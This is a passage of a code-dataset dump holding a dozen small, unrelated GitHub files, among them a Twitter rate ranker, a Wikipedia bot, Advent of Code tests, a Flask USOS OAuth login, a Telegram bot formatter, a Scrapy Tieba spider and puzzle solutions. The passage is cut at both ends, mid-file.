datetime(int(sp[0]),int(sp[1]),int(sp[2]),int(sp[3]),int(sp[4]),int(sp[5]))\n\n return reday\n\ndef get_twitter(tid, now):\n CONSUMER_KEY = ''\n CONSUMER_SECRET = ''\n ACCESS_TOKEN = ''\n ACCESS_SECRET = ''\n\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\n auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)\n\n api = tweepy.API(auth)\n\n user = api.get_user(tid)\n count = int(user._json['statuses_count'])\n day = timechange(user._json['created_at'])\n katu = (now - day).days\n return count / int(katu)\n \n\ndef main():\n with open(\"id_twitter.txt\", \"r\") as f:\n data = f.readlines()\n now = datetime.now()\n record = []\n for inf in data:\n inf_sp = inf.split(\",\")\n r = get_twitter(inf_sp[0], now)\n record.append([inf_sp[1],r])\n\n record.sort(key=itemgetter(1), reverse=True)\n return record\n \nif __name__ == \"__main__\":\n a = main()\n for i in range(20):\n print(i+1, a[i])\n","repo_name":"hikarusuzukicloud/webcomp_t","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70021262916","text":"# coding: utf-8\nimport sys, os\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + '/core')\n\nfrom core import pywikibot as pwbot\nimport core.mwparserfromhell as mwparser\nimport core.scripts.category as category\n\n\nclass RemoveEntryError(Exception):\n def __init__(self, desc):\n self.desc = desc\n\n\nclass RemoveEntry:\n def __init__(self, template: mwparser.wikicode.Template):\n self.template = template\n self.parameters = None\n if template.has(\"from_category\"):\n self.from_category = template.get(\"from_category\")\n else:\n raise RemoveEntryError(\"Lacks category to be removed.\")\n if template.has(\"summary\"):\n self.summary = template.get(\"summary\")\n else:\n raise RemoveEntryError(\"Lacks summary the bot uses.\")\n if template.has(\"admin\"):\n self.admin_name = template.get(\"admin\")\n else:\n raise RemoveEntryError(\"Lacks admin_name who requested the removal.\")\n\n def remove_setup(self):\n # setup parameters with which category.py is called.\n parameters = [\"remove\", \"-from:\"+str(self.template.get(\"from_category\").value), \"-summary:\"+str(self.template.get(\"summary\").value)]\n self.parameters = parameters\n\n def call_category_py(self):\n category.main(self.parameters)\n\n\nclass TargetList:\n def __init__(self, page: pwbot.Page):\n self.page = page\n self.entries = list()\n\n def parse(self):\n text = self.page.text\n parsed = mwparser.parse(text)\n entries = list()\n for template in parsed.filter_templates():\n if template.name.matches(\"User:Akasenbot/remover/category/entry\"):\n entries.append(template)\n\n temp_entries = list()\n for entry in entries:\n try:\n temp_entries.append(RemoveEntry(entry))\n except RemoveEntryError as e:\n print(e.desc)\n\n self.entries = temp_entries\n\n\ndef main(site):\n target_list = TargetList(pwbot.Page(site, \"User:Akasenbot/remover/category\"))\n target_list.parse()\n entries = target_list.entries\n for entry in entries:\n entry.remove_setup()\n print(entry.parameters)\n\nif __name__ == \"__main__\":\n site = pwbot.Site()\n main(site)\n\n","repo_name":"akanosenritu/remover","sub_path":"categoryremover.py","file_name":"categoryremover.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2633554696","text":"from contextlib import contextmanager\nimport fileinput\nimport pytest\nfrom day16 import (\n parse_packet,\n evaluate_packets,\n sum_versions,\n hex_to_bin,\n PacketType,\n part1,\n part2,\n)\n\n\n@contextmanager\ndef readfile(filename=None):\n with fileinput.input(filename) as data:\n yield [line.rstrip() for line in data]\n\n\n@pytest.fixture\ndef input_data():\n with readfile(\"day16_input\") as data:\n yield data\n\n\ndef test_parse_literal_packet():\n data = hex_to_bin(\"D2FE28\")\n\n packet, _ = parse_packet(data)\n\n assert packet.type == PacketType.LITERAL\n assert packet.version == 6\n assert packet.value == 2021\n\n\ndef test_parse_operator_packet():\n data = hex_to_bin(\"38006F45291200\")\n\n packet, _ = parse_packet(data)\n\n assert packet.type == PacketType.LESS_THAN\n assert packet.version == 1\n assert len(packet.subpackets) == 2\n assert packet.subpackets[0].value == 10\n assert packet.subpackets[1].value == 20\n\n\ndef test_parse_operator_packet2():\n data = hex_to_bin(\"EE00D40C823060\")\n\n packet, _ = parse_packet(data)\n\n assert packet.type == PacketType.MAXIMUM\n assert packet.version == 7\n assert len(packet.subpackets) == 3\n assert packet.subpackets[0].value == 1\n assert packet.subpackets[1].value == 2\n assert packet.subpackets[2].value == 3\n\n\ndef test_sum_versions():\n data = hex_to_bin(\"8A004A801A8002F478\")\n\n packet, _ = parse_packet(data)\n\n assert sum_versions(packet) == 16\n\n\ndef test_sum_versions2():\n data = hex_to_bin(\"620080001611562C8802118E34\")\n\n packet, _ = parse_packet(data)\n\n assert sum_versions(packet) == 12\n\n\ndef test_sum_versions3():\n data = hex_to_bin(\"C0015000016115A2E0802F182340\")\n\n packet, _ = parse_packet(data)\n\n assert sum_versions(packet) == 23\n\n\ndef test_sum_versions4():\n data = hex_to_bin(\"A0016C880162017C3686B18A3D4780\")\n\n packet, _ = parse_packet(data)\n\n assert sum_versions(packet) == 31\n\n\ndef test_evalute_packet_addition():\n data = hex_to_bin(\"C200B40A82\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 3\n\n\ndef test_evalute_packet_product():\n data = hex_to_bin(\"04005AC33890\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 54\n\n\ndef test_evalute_packet_min():\n data = hex_to_bin(\"880086C3E88112\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 7\n\n\ndef test_evalute_packet_max():\n data = hex_to_bin(\"CE00C43D881120\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 9\n\n\ndef test_evalute_packet_greater():\n data = hex_to_bin(\"F600BC2D8F\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 0\n\n\ndef test_evalute_packet_less():\n data = hex_to_bin(\"D8005AC2A8F0\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 1\n\n\ndef test_evalute_packet_equal():\n data = hex_to_bin(\"9C005AC2F8F0\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 0\n\n\ndef test_evalute_packet_complex():\n data = hex_to_bin(\"9C0141080250320F1802104A08\")\n\n packet, _ = parse_packet(data)\n\n assert evaluate_packets(packet) == 1\n\n\ndef test_part1(input_data):\n assert part1(input_data[0]) == 943\n\n\ndef test_part2(input_data):\n assert part2(input_data[0]) == 167737115857\n","repo_name":"paul-schwendenman/advent-of-code","sub_path":"2021/test_day16.py","file_name":"test_day16.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39525691377","text":"first_line = [int(num) for num in input().split()]\nsecond_line = [int(num) for num in input().split()]\nthird_line = [int(num) for num in input().split()]\n\nfourth_line = [first_line[0], second_line[0], third_line[0]]\nfifth_line = [first_line[1], second_line[1], third_line[1]]\nsixth_lie = [first_line[2], second_line[2], third_line[2]]\nseventh_line = [first_line[2], second_line[1], third_line[0]]\neight_line = [first_line[0], second_line[1], third_line[2]]\nall_shit = [first_line, second_line, third_line, fourth_line, fifth_line, sixth_lie, seventh_line, eight_line]\n\nis_won = False\n\nfor wining_line in all_shit:\n if wining_line.count(1) == 3:\n print(\"First player won\")\n is_won = True\n break\n if wining_line.count(2) == 3:\n print(\"Second player won\")\n is_won = True\n break\n\nif not is_won:\n print(\"Draw!\")\n\n","repo_name":"StivnNkolov/SoftUni-Python","sub_path":"Python-fundamentals/Lists-lab-ex/02. Tic-Tac-Toe.py","file_name":"02. Tic-Tac-Toe.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"5467520677","text":"# 8.1.3 write()によるバイナリファイルの書き込み\nbdata = bytes(range(0, 256))\nlen(bdata)\n\nfout = open('./08/bfile', 'wb')\nfout.write(bdata)\nfout.close\n\n# チャンクを指定して書き込みできる\nfout = open('./08/bfile', 'wb')\nsize = len(bdata)\noffset = 0\nchunk = 100\nwhile True:\n if offset > size:\n break\n fout.write(bdata[offset:offset+chunk])\n offset += chunk\nfout.close","repo_name":"0gravity000/IntroducingPython","sub_path":"08/080103.py","file_name":"080103.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35580575165","text":"#!/usr/bin/env python3\n\nimport logging\n\nfrom armarx_core.parser import ArmarXArgumentParser as ArgumentParser\nfrom armarx_vision.image_processor import ImageProcessor\n\nimport numpy as np\n\nlogger = logging.getLogger(__name__)\n\n\nclass TestImageProcessor(ImageProcessor):\n def process_images(self, images, info):\n print(info)\n info.timeProvided = 1633428148974550\n return np.random.random(images.shape) * 128, info\n\n\ndef main():\n parser = ArgumentParser(\"Example Image Provider\")\n parser.parse_args()\n\n logger.debug(\"Starting example image processor\")\n\n image_processor = TestImageProcessor(\"ExampleImageProvider\")\n image_processor.on_connect()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"markusgrotz/python3-armarx","sub_path":"examples/process_images.py","file_name":"process_images.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12454505220","text":"import os\nfrom urllib.parse import urlencode\n\nfrom flask_oauthlib.client import OAuth\nfrom flask import session, Blueprint, url_for, request, flash, redirect, render_template\n\noauth_blueprint = Blueprint('oauth', __name__)\n\noauth = OAuth()\n\n\ndef user_info():\n return usos.get(\"https://apps.usos.pw.edu.pl/services/users/user\").data.copy()\n\nusos = oauth.remote_app(\n 'usosweb',\n base_url='https://apps.usos.pw.edu.pl/',\n request_token_url=\"https://apps.usos.pw.edu.pl/services/oauth/request_token?\" + urlencode({\"scopes\": \"studies|offline_access\"}),\n access_token_url='https://apps.usos.pw.edu.pl/services/oauth/access_token',\n authorize_url='https://apps.usos.pw.edu.pl/services/oauth/authorize',\n consumer_key=os.environ['CONSUMER_KEY'],\n consumer_secret=os.environ['CONSUMER_SECRET']\n)\n\n\n@usos.tokengetter\ndef get_usosweb_token(token=None):\n return session.get('usosweb_token')\n\n\n@oauth_blueprint.route('/login')\ndef login():\n return usos.authorize(\n callback=url_for(\n 'oauth.oauth_authorized',\n next=request.args.get('next') or request.referrer or None\n )\n )\n\n\n@oauth_blueprint.route('/oauth-authorized')\ndef oauth_authorized():\n next_url = request.args.get('next') or url_for('oauth.done')\n resp = usos.authorized_response()\n if resp is None:\n flash(u'You denied the request to sign in.')\n return redirect(next_url)\n\n session['usosweb_token'] = (\n resp['oauth_token'],\n resp['oauth_token_secret']\n )\n return redirect(next_url)\n\n\n@oauth_blueprint.route(\"/done\")\ndef done():\n user = user_info()\n return render_template(\"done.html\", name=\"{} {}\".format(user['first_name'], user['last_name']))\n\noauth_sources = [oauth_blueprint]\n","repo_name":"Knutki/knurki-server","sub_path":"events/usosweb/oauth.py","file_name":"oauth.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10417287584","text":"import datetime\nimport random\nimport re\nimport string\nimport time\n\nimport aiohttp\nimport psutil\nimport pytz\nfrom html_telegraph_poster import TelegraphPoster\n\nfrom config import Config\nfrom Music.version import __start_time__\n\n\nclass Formatters:\n def __init__(self) -> None:\n self.time_zone = pytz.timezone(Config.TZ)\n\n def check_limit(self, check: int, config: int) -> bool:\n if config == 0:\n return True\n if check == config:\n return True\n elif check < config:\n return True\n else:\n return False\n\n def mins_to_secs(self, time: str) -> int:\n out_time = sum(\n int(x) * 60**i for i, x in enumerate(reversed(time.split(\":\")))\n )\n return out_time\n\n def secs_to_mins(self, seconds: int) -> str:\n out_time = str(datetime.timedelta(seconds=seconds))\n if out_time.startswith(\"0:\"):\n out_time = out_time[2:]\n return out_time\n\n def get_readable_time(self, seconds: int) -> str:\n count = 0\n ping_time = \"\"\n time_list = []\n time_suffix_list = [\"s\", \"m\", \"h\", \"days\"]\n while count < 4:\n count += 1\n if count < 3:\n remainder, result = divmod(seconds, 60)\n else:\n remainder, result = divmod(seconds, 24)\n if seconds == 0 and remainder == 0:\n break\n time_list.append(int(result))\n seconds = int(remainder)\n for i in range(len(time_list)):\n time_list[i] = str(time_list[i]) + time_suffix_list[i]\n if len(time_list) == 4:\n ping_time += time_list.pop() + \", \"\n time_list.reverse()\n ping_time += \":\".join(time_list)\n return ping_time\n\n def bytes_to_mb(self, size: int) -> int:\n mega_bytes = int(round(size / 1024 / 1024, 2))\n return mega_bytes\n\n def gen_key(self, message: str, volume: int = 5) -> str:\n key = f\"{message}_\" + \"\".join(\n [random.choice(string.ascii_letters) for i in range(volume)]\n )\n return key\n\n def group_the_list(self, collection: list, group: int = 5, length: bool = False):\n kbs = [collection[i : i + group] for i in range(0, len(collection), group)]\n total = 0\n for i in kbs:\n total += len(i)\n if length:\n kbs = len(kbs)\n return kbs, total\n\n async def system_stats(self) -> dict:\n bot_uptime = int(time.time() - __start_time__)\n cpu = psutil.cpu_percent(interval=0.5)\n core = psutil.cpu_count()\n disk = psutil.disk_usage(\"/\").percent\n ram = psutil.virtual_memory().percent\n uptime = f\"{self.get_readable_time((bot_uptime))}\"\n context = {\n \"cpu\": f\"{cpu}%\",\n \"core\": core,\n \"disk\": f\"{disk}%\",\n \"ram\": f\"{ram}%\",\n \"uptime\": uptime,\n }\n return context\n\n def convert_telegraph_url(self, url: str) -> str:\n try:\n pattern = r\"(https?://)(telegra\\.ph)\"\n converted_url = re.sub(pattern, r\"\\1te.legra.ph\", url)\n return converted_url\n except:\n return url\n\n async def telegraph_paste(\n self,\n title: str,\n text: str,\n auth: str = \"[ †he Hêllẞø† ]\",\n url: str = \"https://t.me/its_hellbot\",\n ):\n client = TelegraphPoster(use_api=True)\n client.create_api_token(auth)\n post_page = client.post(\n title=title,\n author=auth,\n author_url=url,\n text=text,\n )\n return self.convert_telegraph_url(post_page[\"url\"])\n\n async def post(self, url: str, *args, **kwargs):\n async with aiohttp.ClientSession() as session:\n async with session.post(url, *args, **kwargs) as resp:\n try:\n data = await resp.json()\n except Exception:\n data = await resp.text()\n return data\n\n async def bb_paste(self, text):\n BASE = \"https://batbin.me/\"\n resp = await self.post(f\"{BASE}api/v2/paste\", data=text)\n if not resp[\"success\"]:\n return\n link = BASE + resp[\"message\"]\n return link\n\n\nformatter = Formatters()\n","repo_name":"The-HellBot/Music","sub_path":"Music/helpers/formatters.py","file_name":"formatters.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"16930030381","text":"import pandas as pd\nfrom pandas.core.frame import DataFrame\nfrom pandas.core.series import Series\nimport streamlit as st\n\nfrom data_overview import Dataset\nfrom datetime_data_type import DateColumn\nfrom numeric_data_type import NumericColumn\nfrom text_data_type import TextColumn\n\n#Function for adding the uploaded dataset to the webpage cache\n@st.cache(allow_output_mutation=True)\ndef load_csv(csv_file):\n ds = Dataset(csv_file.name, pd.read_csv(csv_file))\n return ds\n\ndef launchApp():\n\n #Initialising containers\n header = st.container()\n data = st.container()\n numeric = st.container()\n text = st.container()\n date = st.container()\n\n #Page title Container\n with header:\n st.title('Data Explorer Web Application')\n st.write('This web app is designed to perform exploratory data analysis on a dataset (CSV files only) provided by the user. The analyses produce information in four key sections; the overall dataset, numeric data, text data and datetime data.')\n st.write(' ')\n\n #File uploader widget which is restricted to csv filetypes\n csv_file = st.file_uploader(\"Choose a CSV file\", type=['csv'])\n\n #displaying uploaded file information\n if csv_file is not None:\n ds = load_csv(csv_file)\n\n\n with data:\n\n #Overall Information Header\n st.header('Summary Information')\n\n #Page display elements when a CSV file has been uploaded and is accessible\n\n #Displays the corresponding answers in standard text format through calls to dataclass elements.\n st.markdown('**Name of Table:** ' + ds.get_name())\n st.markdown('**Number of Rows:** ' + str(ds.get_n_rows()))\n st.markdown('**Number of Columns:** ' + str(ds.get_n_cols()))\n st.markdown('**Number of Duplicated Rows:** ' + str(ds.get_n_duplicates()))\n st.markdown('**Number of Rows with Missing Values:** ' + str(ds.get_n_missing()))\n\n st.markdown('**List of Columns:** ')\n\n column_names = list(ds.get_cols_list())\n\n bracketless_column_names = (', '.join(repr(e) for e in column_names))\n column_names_clean = bracketless_column_names.replace(\"'\", \"\")\n st.text(column_names_clean)\n\n #Denotes the column types and displays the relevant information in a dataframe visual element\n st.markdown('**Type of Columns:** ')\n st.dataframe(ds.get_cols_dtype().astype(str), 400, 500)\n\n #Displays Row samples taken from the beginning, end and randomly from each respective visual element.\n #Implements a slider to determine how many dataframe rows should be displayed in each element.\n rowNumberSlider = st.slider('Select the number of rows to be displayed', value=5)\n st.markdown('**Top Rows of Table**')\n st.dataframe(ds.get_head(rowNumberSlider))\n st.markdown('**Bottom rows of Table**')\n st.dataframe(ds.get_tail(rowNumberSlider))\n st.markdown('**Random Sample Rows of Table**')\n st.dataframe(ds.get_sample(rowNumberSlider))\n\n #Implements a streamlit selectbox to select a column to be converted into datetime format\n #Utilises a button element to confirm conversion, followed an element rerun to display the converted elements.\n conversionSelect = st.selectbox('Which columns do you want to convert to dates', ds.get_cols_list())\n st.write('Current selection: ' + conversionSelect)\n convertButton = st.button('Convert Selected Column')\n if convertButton:\n ds.df[conversionSelect] = pd.to_datetime(ds.df[conversionSelect].astype(str), infer_datetime_format=True)\n st.experimental_rerun()\n\n\n with numeric:\n st.header('Information on each numeric column')\n\n\n num_select = st.selectbox('Select a numeric column to explore:', ds.get_numeric_columns())\n\n if num_select is not None:\n st.markdown('')\n st.markdown('**Field Name: *' + num_select + '* **')\n\n num_serie = NumericColumn(num_select, ds.get_series(num_select))\n text_col1, text_col2 = st.columns(2)\n\n with text_col1:\n st.write('Number of Unique Values:')\n st.write('Number of Rows with Missing Values:')\n st.write('Number of Rows with 0 Value:')\n st.write('Number of Rows with Negative Value:')\n st.write('Average Value:')\n st.write('Std. Dev. Value:')\n st.write('Minimum Value:')\n st.write('Maximum Value:')\n\n with text_col2:\n st.write(num_serie.get_unique())\n st.write(num_serie.get_missing())\n st.write(num_serie.get_zeros())\n st.write(num_serie.get_negatives())\n st.write(num_serie.get_mean())\n st.write(num_serie.get_std())\n st.write(num_serie.get_min())\n st.write(num_serie.get_max())\n\n st.markdown('')\n st.markdown('**Histogram: **')\n num_serie.get_histogram()\n\n st.markdown('')\n st.markdown('**Top 20 Frequent Values**')\n st.table(num_serie.get_frequent())\n\n\n with text:\n st.header('Text Column Information')\n\n '''\n Section allows for conversion of non string/text/object datatypes to string\n\n conversionSelect = st.selectbox('Which columns do you want to convert to text',ds.get_not_text_columns())\n st.write('Current selection: ' + conversionSelect)\n convertButton = st.button('Convert Selected Column to string')\n if convertButton:\n ds.df[conversionSelect] = ds.df[conversionSelect].apply(str)\n st.experimental_rerun()\n '''\n\n #i = 0\n #for col_name in ds.get_text_columns():\n #st.markdown('')\n #subheader_str = (f\"3.{i} Field Name: _{col_name}_\")\n #st.subheader(subheader_str)\n text_select = st.selectbox('Select a text column to explore:', ds.get_text_columns())\n\n if text_select is not None:\n st.markdown('')\n st.markdown('**Field Name: *' + text_select + '* **')\n #create the data series from the selected option\n\n txt_serie = TextColumn(text_select, ds.get_series(text_select))\n\n text_col1, text_col2 = st.columns(2)\n\n\n with text_col1:\n\n st.write('Number of Unique Values')\n st.write('Number of Rows with Missing Values')\n st.write('Number of Empty rows')\n st.write('Number of Rows with only whitespaces')\n st.write('Number of Rows with only lower case characters')\n st.write('Number of Rows with only upper case characters')\n st.write('Number of Rows with only alphabet characters')\n st.write('Number of rows with only numbers as characters')\n st.write('Mode value')\n\n with text_col2:\n\n st.write(txt_serie.get_unique())\n st.write(txt_serie.get_missing())\n st.write(txt_serie.get_empty())\n st.write(txt_serie.get_whitespace())\n st.write(txt_serie.get_lowercase())\n st.write(txt_serie.get_uppercase())\n st.write(txt_serie.get_alphabet())\n st.write(txt_serie.get_digit())\n st.write(txt_serie.get_mode()[0])\n\n st.markdown('')\n st.markdown('**Bar Chart**')\n txt_serie.get_barchart(text_select)\n\n st.markdown('')\n st.markdown('**Most Frequent Values**')\n st.table(txt_serie.get_frequent())\n\n #i = i+1\n\n with date:\n st.header('Information on each datetime column')\n\n #check if csv has been loaded. Only display this section if csv_file is not None.\n\n\n option = st.selectbox('Select a column to explore:', ds.get_date_columns())\n\n #check if a datetime colum has been selected\n if option is not None:\n st.markdown('')\n st.markdown('**Field Name: *' + option + '* **')\n #create the data series from the selected option\n date_serie = DateColumn(option, ds.get_series(option))\n\n\n #print table of basic information for this column\n date_col1, date_col2 = st.columns(2)\n\n with date_col1:\n st.write('Number of Unique Values:')\n st.write('Number of Rows with Missing Values:')\n st.write('Number of Weekend Dates:')\n st.write('Number of Weekday Dates:')\n st.write('Number of Dates in Future:')\n st.write('Number of Rows with 1900-01-01:')\n st.write('Number of Rows with 1970-01-01:')\n st.write('Minimum Value:')\n st.write('Maximum Value:')\n\n #call datetime information from datetime functions\n with date_col2:\n st.write(date_serie.get_unique())\n st.write(date_serie.get_missing())\n st.write(date_serie.get_weekend())\n st.write(date_serie.get_weekday())\n st.write(date_serie.get_future())\n st.write(date_serie.get_empty_1900())\n st.write(date_serie.get_empty_1970())\n st.write(date_serie.get_min())\n st.write(date_serie.get_max())\n\n st.markdown('')\n st.markdown('**Bar Chart**')\n date_serie.get_barchart()\n\n\n st.markdown('')\n st.markdown('**Most Frequent Values**')\n st.table(date_serie.get_frequent())\n\n\n return\n\n\nif __name__ == '__main__':\n launchApp()\n","repo_name":"Declan-Stockdale-Garbutt/Streamlit_EDA_CSV","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":10982,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23577370141","text":"\nreadfile = open(\"B-small-attempt0.in\")\nwritefile = open(\"jam_out2.txt\", \"w\")\n\nlines = readfile.readlines()\n#assert int(lines[0]) == 100\nimport math\nimport random\n \ndef get_poss_vals(value,needed):\n min_val = math.ceil(value / (needed * 1.1))\n max_val = math.floor(value / (needed * 0.9))\n if min_val > max_val:\n return 0\n else:\n return min_val, max_val\n\n\nflag = 0\nprob_num = 0\nfor line_num in xrange(1,len(lines)):\n line = lines[line_num]\n if flag == 0:\n prob_num += 1\n #print \"problem\", prob_num \n n, p = line.split()\n n = int(n)\n p = int(p)\n flag = 1\n elif flag == 1:\n weights = [int(x) for x in line.split()]\n #print len(weights)\n #print weights\n flag = 2\n values = []\n elif flag == 2:\n values.append([int(x) for x in line.split()])\n if len(values) == n:\n for i in xrange(n):\n bad_vals = set([])\n for x in values[i]:\n if get_poss_vals(x,weights[i]) == 0:\n bad_vals.add(x)\n good_vals = []\n for x in values[i]:\n if not x in bad_vals:\n good_vals.append(x)\n if len(good_vals) == 0:\n writefile.write(\"Case #%d: %d\\n\" % (prob_num, 0))\n flag = 0\n break\n else:\n values[i] = sorted(good_vals)\n if flag == 0:\n continue\n #print values\n #flag = 0\n score = 0\n while 1:\n max_list = []\n min_list = []\n for i in xrange(n):\n if len(values[i]) == 0:\n writefile.write(\"Case #%d: %d\\n\" % (prob_num, score))\n flag = 0\n break\n if flag == 0:\n break\n for i in xrange(n):\n #print weights[i]\n #print values[i], len(values[i])\n mn, mx = get_poss_vals(values[i][-1], weights[i])\n max_list.append(mx)\n min_list.append(mn)\n if max(min_list) <= min(max_list):\n score += 1\n for i in xrange(n):\n values[i].pop()\n else:\n #ditch the largest values\n for i in xrange(n):\n mx, mn = get_poss_vals(values[i][-1], weights[i])\n if mn > min(max_list):\n values[i].pop()\n for i in xrange(n):\n if len(values[i]) == 0:\n writefile.write(\"Case #%d: %d\\n\" % (prob_num, score))\n flag = 0\n break\n if flag == 0:\n break\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_204/291.py","file_name":"291.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22487043206","text":"\nprint(\"Tarea 21\\n\")\n#Pedimos que introduzca el nº\nnumero = input(\"Introduce un nº entre 0.0001 y 0.9999: \")\n\n\n#Comprobamos que el nº está en el rango indicado. NO HE CONSEGUIDO METER LAS TRES CONDICIONES EN UN WHILE\nwhile numero[0]!= \"0\":\n\tnumero = input(\"Incorrecto. Introduce un nº entre 0.0001 y 0.9999: \")\n\nwhile len(numero)>6:\n\tnumero = input(\"Incorrecto. Introduce un nº entre 0.0001 y 0.9999: \")\n\nwhile len(numero)<3:\n\tnumero = input(\"Incorrecto. Introduce un nº entre 0.0001 y 0.9999: \")\n\n#sustituimos la coma decimal por punto para que no de error al convertir en tipo float\nnumero = numero.replace(\",\",\".\")\n\n#calculamos la fracción irreducible\nnumerador = int(float(numero) * 10000)\ndiv = numerador\ndenominador = 10000\n\nwhile div > 1 :\n if numerador % div == 0 and denominador % div == 0:\n numerador = numerador / div\n denominador = denominador / div\n div = div - 1\n \nprint (\"La fracción irreducible es: \" + str(int(numerador)) + \"/\" + str(int(denominador)))\n\n\n\n\n\n\n\n\n","repo_name":"igorbustinza/theegg_ai","sub_path":"tarea21/tarea21.py","file_name":"tarea21.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33135784739","text":"# scrapy版本的贴吧爬虫\n# 从详情页提取发帖人,标题\nimport scrapy\nfrom tieba.items import TiebaItem\n\n\nclass Tieba2Spider(scrapy.Spider):\n name = 'tieba2'\n allowed_domains = ['tieba.baidu.com']\n start_urls = ['https://tieba.baidu.com/mo/q----,sz@320_240-1-3---2/m?kw=%E6%9D%8E%E6%AF%85&pn=0']\n\n def parse(self, response):\n # 根据帖子进行分组\n div_list = response.xpath(\"//div[contains(@class,'i')]\")\n for div in div_list:\n item = TiebaItem()\n # 获取每个帖子的url\n post_url = div.xpath(\"./a/@href\").extract_first()\n if post_url:\n item['url'] = response.urljoin(post_url)\n yield scrapy.Request(url=item['url'], callback=self.parse_post, meta=dict(item=item)) # url不完整,需补全\n\n # 获取列表页下一页的地址\n next_url = response.xpath(\"//a[text()='下一页']/@href\").extract_first()\n if next_url:\n yield scrapy.Request(url=response.urljoin(next_url), callback=self.parse)\n\n def parse_post(self, response):\n item = response.meta['item']\n # 通过是否存在title字段来判断是否是帖子的第一页\n if 'title' not in item:\n item['img_url_list'] = list()\n item['title'] = response.xpath(\"//div[@class='bc p']/strong/text()\").extract_first()\n item['poster'] = response.xpath(\n \"//div[@class='d']/div[1]//span[@class='g']//a/text()\").extract_first()\n\n # 将帖子当前页中的图片url加入列表中\n item['img_url_list'] += response.xpath(\"//img[@class='BDE_Image']/@src\").extract()\n\n # 获取帖子下一页的url\n next_url = response.xpath(\"//a[text()='下一页']/@href\").extract_first()\n # 判断帖子是否还有下一页\n if next_url: # 如果有 继续发送请求,提取数据\n yield scrapy.Request(url=response.urljoin(next_url), callback=self.parse_post, meta=dict(item=item))\n else: # 如果没有,将item传到pipeline\n yield item\n","repo_name":"kenzzuli/hm_15","sub_path":"spider/day10/tieba/tieba/spiders/tieba2.py","file_name":"tieba2.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20259381506","text":"# UVa 11356 - Dates\n# https://onlinejudge.org/external/113/11356.pdf\n\nimport datetime\n\nmonths_map = {\"January\": 1, \"February\": 2, \"March\": 3, \"April\": 4,\n\"May\": 5, \"June\": 6, \"July\": 7, \"August\": 8,\n\"September\": 9, \"October\": 10, \"November\": 11, \"December\": 12}\n\nmonths = [\"January\", \"February\", \"March\", \"April\", \"May\", \"June\",\n\"July\", \"August\", \"September\", \"October\", \"November\", \"December\"]\n\n\ndef test_case(c, y, m, d, k):\n\tt1 = datetime.date(y, m, d)\n\tt2 = datetime.timedelta(days=k)\n\tt3 = t1 + t2\n\tprint(\"Case \", c, \": \", end=\"\", sep=\"\")\n\tday = str(t3.day) if t3.day > 9 else \"0\" + str(t3.day)\n\tprint(t3.year, months[t3.month - 1], day, sep=\"-\")\n\n\n\nif __name__ == \"__main__\":\n\ttc = int(input())\n\tfor t in range(tc):\n\t\ty, m, d = [x for x in input().split('-')]\n\t\tk = int(input())\n\t\ttest_case(t + 1, int(y), months_map[m], int(d), k)\n\n","repo_name":"eloyhz/competitive-programming","sub_path":"cpbook/1_introduction/11356_dates.py","file_name":"11356_dates.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41648736217","text":"# epochs한 100으로 지정해주자! 두 부분에 지정 할 수 있는데 어디가 우선순위인지도 확인하자\n# + callbacks 로 reduce_lr도 지정해주자\n# + modelcheckpoint 파일에 hdf5 파일 저장\n\nimport numpy as np\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Dense, Dropout, Input\nfrom tensorflow.keras.datasets import mnist\n\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n#1. 데이터/ 전처리\nfrom tensorflow.keras.utils import to_categorical\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\nx_train = x_train.reshape(60000, 28*28).astype('float32')/255.\nx_test = x_test.reshape(10000, 28*28).astype('float32')/255.\n\n\n#2. 모델 구성\ndef build_model(drop=0.5, optimizer='adam'):\n 